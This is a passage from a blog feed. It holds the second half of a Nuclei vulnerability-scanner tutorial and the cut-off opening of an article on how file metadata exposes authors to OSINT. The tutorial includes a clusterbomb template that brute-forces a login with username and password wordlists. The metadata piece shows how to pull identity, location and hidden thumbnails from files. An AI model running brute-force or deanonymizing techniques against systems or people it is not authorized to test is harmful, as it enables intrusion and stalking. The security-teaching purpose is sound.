src="https://cdn-images-1.medium.com/max/1024/1*hh1sKmrvLHNL3gqXv2nNqQ.png" /></figure><p>As of this writing the engine is on v3.11.x (v3.11.1 shipped August 8, 2026). The template repo moves faster: release v10.5.0 on October 5, 2026 added 295 new checks and 36 fresh CVE detections in a single update.</p><h3>Architecture at 10,000 feet</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*VHAZJsCc8w9r0oCr" /></figure><p>Understanding the pipeline inside the binary explains most of the flags you’ll use later:</p><ol><li><strong>Input provider</strong> reads targets (-u, -l, stdin) and normalises them. A bare host gets probed on both http:// and https:// unless you say otherwise; URLs with paths are kept. Inputs are deduplicated and can be streamed, so a 10M-line list doesn&#39;t need to fit in memory.</li><li><strong>Template loader</strong> parses YAML into Go structs, validates against the JSON schema, checks signatures, and applies your filters (-tags, -s, -id, -t, -et, -author, template profiles). Invalid templates are skipped with a warning, not fatal.</li><li><strong>Clustering</strong> groups templates that make the <em>identical</em> request (same method, path, headers, body). A GET / with 400 different body matchers becomes one request with 400 matchers evaluated against the same response. This is why scanning with the full library against one host is only a few thousand requests, not tens of thousands.</li><li><strong>Executer</strong> runs each template’s protocol requests through a shared connection pool (fastdialer + retryablehttp-go), honouring -rate-limit, -c (template concurrency), -bulk-size (hosts per template), timeouts and retries. Responses pass through the matcher/extractor stack, with the DSL evaluated by a small expression engine (dslpackage, built on govaluate).</li><li><strong>Output writers</strong> serialise results as text, JSONL, Markdown, SARIF or to a reporting integration (GitHub/GitLab issues, Jira, Linear, Elasticsearch, Splunk).</li></ol><p>If you remember one thing: Nuclei is a request scheduler plus a matcher evaluator. Everything interesting happens in the template.</p><p>Everything below was tested against nuclei v3.11 and templates v10.x. Field names in templates are stable across v3; flags occasionally get renamed between minors, so nuclei -h is the final word.</p><p>This tutorial gets you from zero to running targeted scans and writing your own templates. Everything assumes targets you own or are authorized to test.</p><h3>Install and run your first scan</h3><p>Pick one install path; all give you the same single Go binary.</p><pre># Go (1.22+)<br>go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest</pre><pre># macOS<br>brew install nuclei</pre><pre># Docker<br>docker pull projectdiscovery/nuclei:latest</pre><pre># Arch<br>sudo pacman -S nuclei   # or yay -S nuclei-bin</pre><p>Then pull the template library and sanity-check:</p><pre>nuclei -update-templates<br>nuclei -version<br>nuclei -templates-version</pre><p>Templates land in ~/nuclei-templates (or ~/.local/nuclei-templates on newer builds). Spin up something you own — a local DVWA or Juice Shop container is ideal — and scan it:</p><pre>docker run -d -p 3000:3000 bkimminich/juice-shop<br>nuclei -u http://localhost:3000</pre><p>Each finding prints as [template-id] [protocol] [severity] matched-url [extracted-data]. That&#39;s the whole loop: templates in, matches out.</p><h3>Verifying the binary</h3><p>Don’t curl | sh a security tool. Prebuilt releases ship a checksum file; verify it:</p><pre>VER=3.11.1<br>curl -LO https://github.com/projectdiscovery/nuclei/releases/download/v${VER}/nuclei_${VER}_linux_amd64.zip<br>curl -LO https://github.com/projectdiscovery/nuclei/releases/download/v${VER}/nuclei_${VER}_checksums.txt<br>sha256sum -c nuclei_${VER}_checksums.txt --ignore-missing<br>unzip nuclei_${VER}_linux_amd64.zip -d /tmp/nuclei &amp;&amp; sudo install /tmp/nuclei/nuclei /usr/local/bin/</pre><p>To pin builds across machines, swap @latest for the version tag, for example @v3.11.1, which keeps your scan results reproducible.</p><h3>Where things live</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*dYFCJ5EUOA3aws-X" /></figure><p>A config file worth having from day one:</p><pre># ~/.config/nuclei/config.yaml<br>rate-limit: 100<br>concurrency: 25<br>bulk-size: 25<br>timeout: 10<br>retries: 1<br>exclude-tags: [dos, fuzz, intrusive]<br>stats: true<br>update-templates: false   # update explicitly, not on every run</pre><p>Anything in the file is overridden by the CLI. nuclei -config other.yaml swaps files entirely, which is how you keep an &quot;internal&quot; profile with auth headers and an &quot;external&quot; one without.</p><h3>Template updates and the ignore file</h3><p>-update-templates (-ut) does a git-free fetch of the latest templates release and writes a checksum manifest, so a corrupted or tampered template dir is detectable with nuclei -ut -v. The .nuclei-ignore file is applied on <em>every</em> run; it&#39;s why dos templates never fire unless you pass -itags dos (include-tags) explicitly. Read it once so you know what you&#39;re silently skipping.</p><h3>Scan smarter: filters, rate limits, output</h3><p>Running all ~10k templates at everything is noisy and slow. The real skill is narrowing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*tDKB29_gzHMxc2L1" /></figure><p>A sane default for a first pass on your own infra:</p><pre>nuclei -l hosts.txt -s critical,high,medium \<br>  -etags dos,intrusive,fuzz \<br>  -rl 50 -c 10 -jsonl -o results.jsonl</pre><p>-rl is requests per second across the whole run; -c is templates in parallel. If you&#39;re scanning a single fragile box, drop both. Then slice results with jq:</p><pre>jq -r &#39;[.info.severity, .&quot;template-id&quot;, .&quot;matched-at&quot;] | @tsv&#39; results.jsonl | sort</pre><h3>Input semantics</h3><p>What you feed in changes what gets scanned:</p><ul><li>example.com → probed as https://example.com and http://example.com (first one that answers wins per template unless -no-httpx). Pass -pt http to restrict to HTTP templates for URL inputs.</li><li>https://example.com/app/ → {{BaseURL}} is https://example.com/app, {{RootURL}} is https://example.com. Templates that use {{BaseURL}}/.git/HEAD will hit /app/.git/HEAD. Feeding both root and path inputs is deliberate, not redundant.</li><li>10.0.0.0/24, 10.0.0.1-10.0.0.50 → expanded for network/DNS/SSL templates. HTTP templates need a port or scheme.</li><li>-im openvpn|burp|jsonl|yaml → import Burp XML or an httpx JSONL dump; httpx -json output carries detected tech so -as (automatic scan) can pick tags for you.</li><li>-resume file.cfg continues an interrupted run; nuclei writes resume state on SIGINT.</li></ul><h3>The concurrency model, precisely</h3><p>Three knobs interact and people constantly confuse them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*jpmF8ja_tvB5IpVC" /></figure><p>Worst-case in-flight requests is roughly c × bs, throttled to rl. Against one host, bs is irrelevant and c governs how many different checks hit it at once; set -c 5 -rl 20 for a production box someone else owns. Against 50k hosts with a dozen templates, crank bs and rl, leave c alone.</p><p>Timeouts are per-request (-timeout, default 10s), retries (-retries, default 1) apply only on connection errors, not on HTTP 5xx. -mhe / -max-host-error (default 30) drops a host after N consecutive errors, which is what saves a scan when a WAF starts tarpitting you. -nmhe disables that; you almost never want it.</p><h3>Output formats</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h1eMLSSpRmX_9fctbbnOXQ.png" /></figure><p>The JSONL schema is stable and worth knowing: template-id, template-path, info{name,author,severity,tags,classification{cve-id,cwe-id,cvss-score}}, type, host, matched-at, extracted-results[], matcher-name, curl-command, timestamp, and with -irr, request/response. The curl-command field is a reproduction one-liner, which is what you paste into a ticket.</p><h3>Authenticated scanning</h3><p>Two mechanisms. Quick: -H &quot;Authorization: Bearer ...&quot; (repeatable) or -V token=... for a template variable. Proper: a secret file passed with -sf secrets.yaml, which scopes credentials to domains and supports static headers, cookies, query params, and a dynamic login template that fetches a fresh token before the run:</p><pre>static:<br>  - type: cookie<br>    domains: [app.example.com]<br>    cookies:<br>      - key: session<br>        value: eyJ...<br>dynamic:<br>  - template: /path/to/login-template.yaml<br>    variables:<br>      - key: user<br>        value: admin<br>      - key: pass<br>        value: &#39;{{env:ADMIN_PASS}}&#39;</pre><p>The dynamic template runs first, its extractors populate variables, and those are injected into every subsequent request to matching domains.</p><p>▶ IMAGE → 4-template-anatomy.png</p><h3>Write your first template</h3><p>A template is four parts: id, info, one or more protocol blocks (http, dns, tcp, ssl, javascript, code), and matchers. Here&#39;s a complete one that flags an exposed .env file:</p><pre>id: exposed-dotenv</pre><pre>info:<br>  name: Exposed .env file<br>  author: npcmillionaire<br>  severity: high<br>  tags: exposure,config</pre><pre>http:<br>  - method: GET<br>    path:<br>      - &quot;{{BaseURL}}/.env&quot;<br>    matchers-condition: and<br>    matchers:<br>      - type: status<br>        status:<br>          - 200<br>      - type: regex<br>        part: body<br>        regex:<br>          - &quot;(?m)^[A-Z_]+=.+$&quot;<br>      - type: word<br>        part: header<br>        words:<br>          - &quot;text/html&quot;<br>        negative: true</pre><p>Save it as exposed-dotenv.yaml, validate, and run:</p><pre>nuclei -t exposed-dotenv.yaml -validate<br>nuclei -t exposed-dotenv.yaml -u http://localhost:3000 -debug</pre><p>-debug dumps the raw request and response, which is how you tune matchers until they stop false-positiving. A few things worth knowing:</p><ul><li><strong>Matcher types</strong>: status, word, regex, size, binary, dsl. dsl gives you expressions like len(body) &gt; 100 &amp;&amp; contains(tolower(body), &quot;error&quot;).</li><li><strong>Extractors</strong> pull values out (a version string, a token) and print them alongside the match. Add extractors: with type: regex and a group.</li><li><strong>Variables</strong>: {{BaseURL}}, {{Hostname}}, {{RootURL}}, plus your own under variables:. Helper functions like base64(), md5(), rand_int() are available anywhere in {{ }}.</li><li><strong>Raw requests</strong> (raw: instead of method/path) let you paste a request straight out of Burp.</li><li><strong>Workflows</strong> (workflows: templates) chain checks: run a tech-detect first, then only fire the WordPress templates if WordPress matched.</li></ul><p>Start by copying something close from the official repo and editing it. The repo’s http/exposures/ folder is a good library of simple, readable examples.</p><p>▶ IMAGE → 5-matcher-extractor.png</p><h3>Matchers, extractors and the DSL in depth</h3><p>This is where templates go from “works on my box” to “ships in the public repo.”</p><h3>Matcher anatomy</h3><p>Seven matcher types exist: status, size, word, regex, binary, dsl, and xpath. Every matcher accepts the same control fields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*wp_5sGLuvTeSGjVS" /></figure><p>At the request level, matchers-condition (and/or, default or) combines multiple matchers. That default is the number one cause of false positives in beginner templates: three matchers where any one firing counts. Set matchers-condition: and almost always, and use condition: or <em>inside</em> a single matcher for alternatives.</p><p>global-matchers: true applies the template&#39;s matchers to responses from other templates (HTTP only). That&#39;s how a single &quot;credential in any response&quot; template can piggyback on every other request in the run without sending its own.</p><h3>Writing matchers that don’t lie</h3><p>The discipline is: one positive signal that is specific to the vulnerable state, one structural check, and one negative check that excludes the generic error page.</p><pre>matchers-condition: and<br>matchers:<br>  - type: word<br>    part: body<br>    words:<br>      - &quot;&lt;title&gt;phpinfo()&lt;/title&gt;&quot;    # specific<br>  - type: status<br>    status: [200]                   # structural<br>  - type: word<br>    part: body<br>    words: [&quot;404&quot;, &quot;Not Found&quot;]      # excludes soft-404s<br>    negative: true</pre><p>Soft-404s (servers returning 200 for everything) defeat status-only templates. -stats plus -ms on a known-clean host is a fast way to see which of your matchers fire where they shouldn&#39;t.</p><h3>Extractors</h3><p>Extractors pull values out of a response and print them beside the finding. Five types: regex, kval, json, xpath, and dsl. Shared fields: name, part, and internal: true (extract for later use but don&#39;t print).</p><pre>extractors:<br>  - type: regex<br>    name: version<br>    part: body<br>    group: 1<br>    regex:<br>      - &#39;Server: Apache/([0-9.]+)&#39;<br>  - type: kval        # pull a header by name (dashes become underscores)<br>    kval:<br>      - x_powered_by<br>  - type: json        # JQ-style over a JSON body<br>    json:<br>      - &#39;.data.token&#39;<br>  - type: dsl         # compute anything<br>    dsl:<br>      - &#39;concat(&quot;len=&quot;, len(body))&#39;</pre><p>group picks a regex capture group (0 = whole match). An extractor marked internal: true doesn&#39;t show in output but <em>does</em> populate a variable named after the extractor, which the next request in the same template can reference as {{version}}. That is the whole mechanism behind multi-step templates: extract a CSRF token or a build number from response 1, inject it into request 2.</p><h3>The DSL</h3><p>The DSL is a single-expression language evaluated per response, used in dsl matchers, dsl extractors, and inside {{ }}anywhere in a request. Response variables available in HTTP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*ebzCC6trgnlTDrOu" /></figure><p>For multi-request templates, append _N to any variable to reference an earlier response in order, starting at 1. A classic forced-browsing check: a path that 404s for everyone but returns 200 with a secret for the vulnerable config. You express &quot;first response was a 404, second was a 200 containing the marker&quot; as a single DSL matcher comparing status_code_1, status_code_2, and body_2. Previous responses are held in memory, which is worth knowing on very large request chains.</p><p>The DSL ships ~90 helper functions. The ones you’ll actually reach for:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*5VgRhNTpOyj5VhY2" /></figure><p>Two patterns show up constantly. mmh3(base64(body)) computes the favicon hash Shodan uses, so one template can fingerprint software by favicon alone. compare_versions(version, &quot;&gt;=2.0.0&quot;, &quot;&lt;2.3.1&quot;) turns an extracted version string into a clean &quot;is this in the vulnerable range&quot; boolean, which is how good CVE templates avoid flagging patched installs.</p><p>▶ IMAGE → 6-payload-modes.png</p><h3>Payloads and attack modes</h3><p>A template becomes a fuzzer when you add payloads and reference them with §marker§ or {{marker}} in paths, headers, or body. Four attack modes control how payload sets combine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*kmUlMIImB9Q35b_x" /></figure><pre>http:<br>  - raw:<br>      - |<br>        POST /login HTTP/1.1<br>        Host: {{Hostname}}<br>        Content-Type: application/x-www-form-urlencoded</pre><pre>        user={{user}}&amp;pass={{pass}}<br>    attack: clusterbomb<br>    payloads:<br>      user: helpers/wordlists/users.txt<br>      pass: helpers/wordlists/passwords.txt<br>    stop-at-first-match: true<br>    threads: 50</pre><p>stop-at-first-match halts the payload loop on the first hit (right for credential checks, wrong for enumeration). threads sets payload-level parallelism for that request. Payload files are relative to the template unless -allow-local-file-access is set for absolute paths.</p><p>This is also the boundary to respect: payload-driven login requests against a host you don’t own is a brute-force attack, full stop. Keep these for your own staging and CTF boxes.</p><h3>Multi-protocol templates and flow</h3><p>v3 lets one template use several protocols in sequence, sharing variables between them. The naive form just lists protocol blocks in order; values extracted in the first are available in the second. The powerful form is flow, which drives execution with JavaScript (ECMAScript 5.1 via the goja engine) so you get real conditional logic and loops.</p><p>Flow syntax comes in two shapes. A one-liner gates requests: flow: http(1) &amp;&amp; http(2) runs the second request only if the first matched, which is exactly how you avoid firing a login-bruteforce request at a host that isn&#39;t even running the target app. A block runs arbitrary orchestration:</p><pre>id: vhost-enum-flow</pre><pre>flow: |<br>  ssl();<br>  for (let vhost of iterate(template[&quot;ssl_domains&quot;])) {<br>    set(&quot;vhost&quot;, vhost);<br>    http();<br>  }</pre><pre>ssl:<br>  - address: &quot;{{Host}}:{{Port}}&quot;</pre><pre>http:<br>  - raw:<br>      - |<br>        GET / HTTP/1.1<br>        Host: {{vhost}}<br>    matchers:<br>      - type: dsl<br>        dsl:<br>          - status_code != 400<br>          - status_code != 502</pre><p>The mechanics that make this work:</p><ul><li><strong>Calling requests</strong>: http() runs all HTTP requests; http(1) runs the one at that position; http(&quot;probe-id&quot;) runs the one with that id. Same for ssl(), dns(), tcp(), code().</li><li><strong>The template context</strong>: earlier requests deposit extracted values into a shared context read as template[&quot;key&quot;]. An SSL request populates template[&quot;ssl_domains&quot;]; a regex extractor named ptrValue and marked internal: true becomes template[&quot;ptrValue&quot;]. log(template) dumps the whole context for debugging.</li><li><strong>iterate(value, separator)</strong> loops over arrays, maps, strings or numbers and handles nil/empty safely, so you don&#39;t guard every extraction.</li><li><strong>set(&quot;name&quot;, value)</strong> adds a variable to the context; here set(&quot;vhost&quot;, vhost) is what makes {{vhost}} resolve in the HTTP Host header.</li><li><strong>Dedupe</strong> removes duplicates across arrays: new Dedupe(), .Add(...), .Values().</li><li><strong>internal: true</strong> on a matcher or extractor hides its result from output while still feeding the flow logic — since v3.1.4 everything prints by default, so you opt specific steps out.</li></ul><p>The real-world payoff: a CVE that requires authenticating, then hitting a second endpoint with the session token, then confirming a specific error only the vulnerable version emits — that’s three protocols and two conditionals in one signed template, instead of a bash wrapper around three nuclei invocations.</p><p>▶ IMAGE → 7-recon-pipeline.png</p><h3>Wire it into a pipeline</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*PJJBoAUsizWOzRHf" /></figure><p>Nuclei is strongest as the last stage of a recon chain, not a standalone tool. The canonical ProjectDiscovery pipeline is subfinder → dnsx → httpx → nuclei: enumerate subdomains, resolve them, find which are live HTTP services, then scan only those. Piping on stdin (-silent keeps the streams clean) means nothing touches disk until results:</p><pre>subfinder -d example.com -silent \<br>  | dnsx -silent \<br>  | httpx -silent \<br>  | nuclei -s critical,high -jsonl -o results.jsonl</pre><h3>How the engine actually runs a template</h3><p>Understanding this is what separates tuning from guessing:</p><ol><li><strong>Load and compile.</strong> Each YAML is parsed into a compiled template object. With -validate, Nuclei checks schema, matcher references, and (since v3) template signatures before anything fires.</li><li><strong>Clustering.</strong> Templates that hit the same path with the same request method are grouped into a single request — the response is matched against every clustered template’s matchers at once. This is why scanning 500 http/exposurestemplates isn&#39;t 500 requests.</li><li><strong>Protocol execution.</strong> Requests go out respecting -rl (global rate limit, token-bucket) and -c (template concurrency). Interactsh is wired in automatically for OOB checks — {{interactsh-url}} gets a unique callback domain, and blind SSRF/RCE is confirmed when the server pings back.</li><li><strong>Matching.</strong> Matchers evaluate per matchers-condition (and/or); internal: true matchers gate without printing. Extractors run, and the dedup layer suppresses repeat findings.</li></ol><h3>CI</h3><p>In GitHub Actions, run against a deployed staging URL and fail the build on critical findings:</p><pre>- name: Nuclei scan<br>  run: |<br>    nuclei -u ${{ env.STAGING_URL }} \<br>      -s critical,high -jsonl -o nuclei.jsonl \<br>      -ni   # no interactsh in locked-down CI egress<br>- name: Gate<br>  run: |<br>    test ! -s nuclei.jsonl || { cat nuclei.jsonl; exit 1; }</pre><p>-ni disables Interactsh when your CI runner can&#39;t reach the public callback server; otherwise OOB templates silently time out. For reproducible runs, pin both the engine (@v3.11.1) and templates (-tv output logged) so a template-library update doesn&#39;t change your pass/fail overnight.</p><p>▶ IMAGE → 8-template-security.png</p><h3>Authorization, safety, and untrusted templates</h3><p>Two separate risks: who you’re allowed to scan, and what a template does when you run it.</p><p><strong>Authorization.</strong> Only scan assets you own or have written permission to test. Nuclei sends real requests — some templates submit forms, trigger auth flows, or probe for RCE. In the US, unauthorized scanning can fall under the CFAA; a signed engagement letter or an in-scope bug bounty program is your cover. Keep -etags intrusive,dos,fuzz on until you know a target can take load.</p><p><strong>Untrusted templates are code.</strong> This is the part people miss. A Nuclei template isn’t inert data — the code protocol runs arbitrary system commands, and the javascript protocol executes JS in the embedded Goja engine. Running a random template from a blog or gist is running that author&#39;s code on your box. CVE-2026-76819 (CVSS 8.6) was exactly this: arbitrary code execution via untrusted JavaScript templates.</p><p>Mitigations, in order of strength:</p><ul><li><strong>Template signing (v3).</strong> Official templates are cryptographically signed; Nuclei verifies them against ProjectDiscovery’s public key and warns loudly on unsigned code/js templates. Don&#39;t suppress that warning.</li><li><strong>Pin and review.</strong> Pin the engine version, and read any third-party template before -t-ing it — specifically its code:and javascript: blocks.</li><li><strong>Isolate.</strong> Run unknown templates in the Docker image or a throwaway VM, not your daily driver.</li><li><strong>Keep current.</strong> nuclei -update regularly; the engine has had several ACE and signature-bypass CVEs (e.g. CVE-2026-76802, a DAST code-signature bypass) patched in point releases.</li></ul><h3>Go further</h3><p>That’s the engine, the template format, and a working pipeline. The next step is a library of templates tuned to the stacks you actually test, so you’re not rebuilding matchers every engagement.</p><p>I put together the <strong>Blue Team Baseline Pack</strong> for supporters: 22 detection-only templates for the exposures and misconfigurations worth checking every night (leaked .env and .git, backups in web root, open Redis and Docker APIs, expiring certificates, missing DMARC), plus a workflow file, a safe scan profile, and a nightly script that reports only what is new or fixed. It&#39;s the afternoon of setup this tutorial just described, already done.</p><p><strong>Get the Blue Team Baseline Pack →</strong> <a href="https://patreon.com/npcmillionaire">patreon.com/npcmillionaire</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3cafa97a615" width="1" height="1" alt=""><hr><p><a href="https://medium.com/legitimate-biz-research/nuclei-for-people-who-actually-ship-a-practical-tutorial-d3cafa97a615">Nuclei for People Who Actually Ship: A Practical Tutorial</a> was originally published in <a href="https://medium.com/legitimate-biz-research">legit{biz} — research</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Files Are Talking: Tracking, Surveillance, and OSINT in Everyday Documents]]></title>
            <link>https://medium.com/legitimate-biz-research/your-files-are-talking-tracking-surveillance-and-osint-in-everyday-documents-96c72ab3d014?source=rss-4f15c85cce86------2</link>
            <guid isPermaLink="false">https://medium.com/p/96c72ab3d014</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[npcmillionaire]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 21:16:05 GMT</pubDate>
            <atom:updated>2026-11-26T02:49:35.511Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Every file you share carries two payloads: the content you meant to send, and a sidecar of identifiers, timestamps, coordinates, and callbacks you probably didn’t.</em></p><p><strong>TL;DR</strong> — Files leak in three ways. <em>Passive metadata</em> (EXIF, OOXML docProps, PDF Info/XMP) records who, where, when, and with what. <em>Structural residue</em> (revision IDs, incremental PDF saves, embedded thumbnails, undo history) preserves things the author believes are gone. <em>Active content</em> (remote templates, external images, UNC paths, form actions) makes the file phone home when opened. Under all three sit <em>covert forensic marks</em> — printer tracking dots, sensor noise fingerprints, invisible watermarks — that survive any metadata scrub. An OSINT analyst chains all four into identity, location, organization, and timeline.</p><p>This piece is written for people who already know what exiftool is and want the deeper map: which structures leak, why they exist, how investigators actually pivot on them, and what a sanitization pipeline must do to be trustworthy. It&#39;s the threat model behind <a href="https://github.com/npcmillionaire/unredact.tools">unredact.tools</a>, which does two things: show you what a file is leaking, and strip it.</p><h4>The bigger picture</h4><p>File metadata sits at the intersection of three disciplines: digital forensics (proving provenance in court), OSINT (building profiles from public artifacts), and OPSEC (denying both to an adversary). The same field that lets a newsroom verify a leaked photo lets a stalker find the photographer’s house. Treat every file format as a serialization of its authoring environment, not just its content, and most of what follows becomes predictable.</p><h3>How we got here: metadata was a feature first</h3><p>Almost every leak below began as a convenience for the author, not a tracking mechanism.</p><ul><li><strong>1995–1998 — EXIF and TIFF tags.</strong> JEIDA’s Exchangeable Image File Format reused TIFF’s tag/IFD structure inside JPEG APP1 segments so cameras could record exposure settings. GPS IFDs came along for mapping workflows. Nobody designing it was thinking about doxxing.</li><li><strong>Late 1990s — OLE2 compound documents.</strong> Word’s binary .doc stored the author name, company, last-saved-by, revision count, and &quot;fast save&quot; fragments of deleted text inside the compound file&#39;s SummaryInformation streams. Fast-save meant deleted text physically stayed in the file.</li><li><strong>2003 — the “dodgy dossier.”</strong> The UK government’s Iraq briefing paper was published as a .doc; its revision log exposed the usernames of the officials who had edited it. It became the textbook case for document metadata.</li><li><strong>2005 — BTK.</strong> The Wichita serial killer sent police a floppy disk; deleted-file metadata in a .rtf pointed to &quot;Christ Lutheran Church&quot; and the user &quot;Dennis.&quot; A file-system remnant ended a 30-year hunt.</li><li><strong>2006–2007 — OOXML and ODF.</strong> Office went to ZIP-of-XML. Metadata became trivially parseable (docProps/core.xml), and merge features introduced revision session IDs (rsid).</li><li><strong>2012 — John McAfee.</strong> A journalist’s iPhone photo of McAfee, published while he was evading authorities, retained GPS EXIF placing him in Guatemala.</li><li><strong>2017 — Reality Winner.</strong> The NSA document published by The Intercept was a printout scan; the yellow Machine Identification Code dots encoded the printer serial and a timestamp. Metadata scrubbing would not have helped — the leak was physical.</li><li><strong>2019 — Manafort filings.</strong> Defense lawyers “redacted” a PDF with black boxes over live text. Copy/paste revealed everything underneath.</li><li><strong>2020s — active and cryptographic provenance.</strong> Tracking pixels in email went mainstream, canary tokens normalized “files that report when opened,” and C2PA Content Credentials began cryptographically binding capture device, edits, and identity to images.</li></ul><p>The arc matters: each generation of format added more structure, more automation, and more network reachability. Leakage scaled with capability.</p><h3>Images: four metadata standards and a hidden copy</h3><p>A single JPEG from a modern phone can carry four overlapping metadata systems plus an embedded preview of the image itself.</p><h4>Container layout</h4><p>A JPEG is a sequence of markers. APP1 holds EXIF (a TIFF structure: IFD0, ExifIFD, GPS IFD, Interop IFD, IFD1 for the thumbnail) and, in a second APP1, XMP as RDF/XML. APP13 holds Photoshop IRB resources including legacy IPTC-IIM. APP2 holds ICC profiles and, on some devices, MPF (multi-picture format) secondary images. HEIC/HEIF moves all of this into ISOBMFF boxes (meta, iinf, iloc), with EXIF and XMP as items. PNG uses tEXt/iTXt/zTXt/eXIf chunks; WebP uses RIFF EXIF/XMP chunks.</p><h4>What leaks</h4><ul><li><strong>Location</strong> — GPSLatitude, GPSLongitude, GPSAltitude, GPSImgDirection, GPSHPositioningError. Gives a sub-10 m position, height (which floor of a building), and which way the camera faced.</li><li><strong>Time</strong> — DateTimeOriginal, OffsetTimeOriginal, SubSecTimeOriginal, GPSDateStamp. Gives exact capture time and UTC offset — i.e. time zone, even when GPS is off.</li><li><strong>Device identity</strong> — Make, Model, LensModel, BodySerialNumber, LensSerialNumber. Ties photos across accounts to one physical camera.</li><li><strong>Software</strong> — Software, HostComputer, XMP CreatorTool, xmpMM:History. Reveals OS version, editing app, and the full edit history with timestamps.</li><li><strong>Authorship</strong> — Artist, Copyright, IPTC By-line, XMP dc:creator. Real names, often set once in camera menus and forgotten.</li><li><strong>Document lineage</strong> — xmpMM:DocumentID, xmpMM:InstanceID, DerivedFrom. Links an exported image back to its source file and siblings.</li></ul><h4>MakerNotes: the vendor blob</h4><p>The MakerNote tag is an opaque, vendor-specific IFD. Canon, Nikon, Sony, Fujifilm, and Apple all stuff extra data here: internal serial numbers, shutter actuation counts, owner name, firmware, focus distance, and on Apple devices fields like a per-burst ContentIdentifier and acceleration vectors. Because offsets inside MakerNotes are often absolute, naive tools that rewrite EXIF can corrupt them — so many &quot;strippers&quot; leave MakerNotes untouched. exiftool -a -G1 -u -U shows unknown tags; it is regularly where the serial number lives.</p><h4>The thumbnail problem</h4><p>IFD1 contains a full JPEG thumbnail, and some editors also write a PhotoshopThumbnail in APP13 and an MPF preview in APP2. Crop a face out of the main image without regenerating these and the original, uncropped scene is still sitting in the file. Extract with exiftool -b -ThumbnailImage in.jpg &gt; thumb.jpg. This has burned people since the early 2000s and still does.</p><h4>Provenance standards: C2PA</h4><p>C2PA (Content Credentials) embeds a signed JUMBF manifest describing the capture device, every edit action, and the signer’s certificate. It’s designed against disinformation, but from an OPSEC lens it is signed, tamper-evident metadata — a credential that can name a person, an organization, or a device. Stripping it is easy; the issue is that its <em>absence</em> may itself become a signal on platforms that expect it.</p><h4>Platform behavior is not a control</h4><p>Major social platforms re-encode uploads and drop most EXIF, but they read it first, and the original is what was uploaded. Direct-file channels — email attachments, Discord/Slack file uploads, cloud share links, messaging apps’ “send as file” or “original quality” options, forums, and marketplace listings — often pass the bytes through untouched. Assume nothing is stripped unless you verified the delivered file.</p><h3>Office documents: a ZIP full of your environment</h3><p>Rename any .docx, .xlsx, or .pptx to .zip and you are looking at the author&#39;s workstation in XML.</p><h4>The obvious layer: docProps</h4><ul><li>docProps/core.xml — dc:creator, cp:lastModifiedBy, dcterms:created, dcterms:modified, cp:revision, cp:lastPrinted, title/subject/keywords. Usernames here are frequently Active Directory logins (jsmith, CORP\j.smith), which map directly to email formats.</li><li>docProps/app.xml — Application, AppVersion (a precise Office build), Company, Manager, Template, TotalTime (minutes of editing), HyperlinkBase.</li><li>docProps/custom.xml — organization-specific properties: DLP/sensitivity labels (Microsoft Purview MSIP_Label_&lt;GUID&gt;_* with the tenant ID and label name), document-management IDs, SharePoint content-type IDs, matter numbers.</li></ul><p>The Purview label is underrated: MSIP_Label_..._SiteId is the Azure AD tenant GUID, which resolves to an organization, and the label name (&quot;Confidential – Legal&quot;) tells you how the org classifies the content.</p><h4>The subtle layer: residue</h4><ul><li><strong>Revision session IDs.</strong> Word stamps runs, paragraphs, and table rows with w:rsidR, w:rsidRPr, w:rsidDel, and lists every session in word/settings.xml (w:rsids). Each editing session gets a random ID. Compare two documents&#39; rsid sets and you can prove common ancestry, order edits, and estimate how many sessions a document went through — a known technique for attributing leaked drafts.</li><li><strong>Tracked changes and comments.</strong> w:ins/w:del with w:author and w:date; word/comments.xml, commentsExtended.xml, and people.xml, which can contain the commenter&#39;s identity-provider ID and email. &quot;Accept all&quot; removes the markup; <em>hiding</em> it in the view does not.</li><li><strong>Hidden content.</strong> w:vanish text, white-on-white runs, text behind images, hidden rows/columns/sheets in Excel (including veryHidden sheets that don&#39;t appear in the unhide dialog), speaker notes and hidden slides in PowerPoint, and slide layouts carrying content from the original template.</li><li><strong>Paths.</strong> word/_rels/*.rels and xl/externalLinks/ record absolute targets: C:\Users\jsmith\OneDrive - Contoso\Deals\..., \\fs01\finance\..., or SharePoint URLs. These leak username, employer, host names, folder taxonomy, and sometimes project code names. Excel pivot caches (xl/pivotCache/) often keep the full source dataset even after the visible sheet is filtered or deleted.</li><li><strong>Embedded objects.</strong> word/embeddings/ holds OLE objects — a pasted chart is frequently the <em>entire source workbook</em>, with every sheet. Images embedded in the document keep their own EXIF.</li><li><strong>Printer and environment.</strong> Legacy .doc files and some settings parts record the last printer name, which in corporate environments often encodes building and floor. Font tables reveal installed, sometimes licensed or custom corporate fonts.</li></ul><h4>Legacy binary formats</h4><p>OLE2 .doc/.xls/.ppt files add slack space: freed sectors in the compound file can retain deleted text and older stream versions. VBA projects in macro-enabled files keep the developer&#39;s module comments, project paths, and the PROJECTstream&#39;s host GUIDs. olevba and oledump.py are the standard tools.</p><h4>LibreOffice/ODF</h4><p>meta.xml mirrors docProps (meta:initial-creator, dc:creator, meta:editing-cycles, meta:editing-duration, meta:generator with build string). Track-changes history lives in content.xml under text:tracked-changes. Same threat surface, different element names.</p><h3>PDF: an append-only format people treat like paper</h3><p>PDF is the format most often trusted for “final” release, and the one most often redacted 